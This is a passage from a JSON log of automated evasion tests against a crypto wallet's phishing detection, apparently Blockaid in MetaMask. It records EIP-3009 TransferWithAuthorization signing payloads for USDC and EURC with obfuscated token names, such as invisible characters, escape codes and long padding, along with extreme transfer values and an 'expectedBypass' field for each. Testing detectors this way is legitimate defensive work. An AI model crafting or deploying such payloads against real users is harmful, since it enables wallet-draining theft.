\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN10-COMBO-1", "timestamp": "2026-01-31T23:42:55.948Z", "technique": "EIP3009-combo-EURC-long_1024-max_uint_minus_1-past_2020-half_and_half-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + long_1024 + max_uint_minus_1 + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-2", "timestamp": "2026-01-31T23:43:02.478Z", "technique": "EIP3009-combo-EURC-escape-very_large-past_2020-max-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + escape + very_large + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u001bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-3", "timestamp": "2026-01-31T23:43:09.005Z", "technique": "EIP3009-combo-EURC-escape-padded_64-max_uint-mixed_case_hex-checksum-v3", "category": "eip3009", "description": "EURC + escape + padded_64 + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u001bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xEcA991669eA7562d1226B05d53BfEcA0B69b9fE84cA7A568A9148492C4F29889\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN10-COMBO-4", "timestamp": "2026-01-31T23:43:16.027Z", "technique": "EIP3009-combo-USDC-ideographic_space-padded_64-max_uint-all_a-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + ideographic_space + padded_64 + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD　Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-5", "timestamp": "2026-01-31T23:43:22.567Z", "technique": "EIP3009-combo-USDC-zwnj-numeric_max_safe-max_uint-random-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + zwnj + numeric_max_safe + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"US‌D Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x122b4562d2637fbd6e26ad95be9d52f7d7a2d680c98909912c06f3d4b6bab794\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-6", "timestamp": "2026-01-31T23:43:29.100Z", "technique": "EIP3009-combo-USDC-newline-leading_zeros_many-past_2020-zero-lowercase-v4", "category": "eip3009", "description": "USDC + newline + leading_zeros_many + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\n Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN10-COMBO-7", "timestamp": "2026-01-31T23:43:36.160Z", "technique": "EIP3009-combo-EURC-long_256-dust_1-just_now-max-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + long_256 + dust_1 + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-8", "timestamp": "2026-01-31T23:43:42.686Z", "technique": "EIP3009-combo-USDC-escape-round_100k-year_2100-alternating-checksum-v4", "category": "eip3009", "description": "USDC + escape + round_100k + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u001b Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN10-COMBO-9", "timestamp": "2026-01-31T23:43:49.619Z", "technique": "EIP3009-combo-EURC-invisible_separator-repeating-far_future-all_a-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + invisible_separator + repeating + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁣C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"123123123123123123123123123123123\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-10", "timestamp": "2026-01-31T23:43:56.152Z", "technique": "EIP3009-combo-USDC-backspace-max_uint_minus_1-numeric_ts-half_and_half-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + backspace + max_uint_minus_1 + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\b Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-11", "timestamp": "2026-01-31T23:44:02.685Z", "technique": "EIP3009-combo-EURC-tab-hex_short-leading_zeros_ts-alternating-checksum-v4", "category": "eip3009", "description": "EURC + tab + hex_short + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN10-COMBO-12", "timestamp": "2026-01-31T23:44:09.619Z", "technique": "EIP3009-combo-EURC-tab-max_uint-far_future-alternating-mixed_case-v4", "category": "eip3009", "description": "EURC + tab + max_uint + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-13", "timestamp": "2026-01-31T23:44:16.151Z", "technique": "EIP3009-combo-USDC-nbsp-leading_zeros_many-max_uint-max-mixed_case-v3", "category": "eip3009", "description": "USDC + nbsp + leading_zeros_many + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-COMBO-14", "timestamp": "2026-01-31T23:44:22.690Z", "technique": "EIP3009-combo-EURC-long_1024-half_max-standard-max-mixed_case-v3", "category": "eip3009", "description": "EURC + long_1024 + half_max + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN11-COMBO-0", "timestamp": "2026-01-31T23:44:29.237Z", "technique": "EIP3009-combo-EURC-long_256-padded_64-narrow_1hr-sequential-mixed_case-v4", "category": "eip3009", "description": "EURC + long_256 + padded_64 + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16719835\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN11-COMBO-1", "timestamp": "2026-01-31T23:44:35.770Z", "technique": 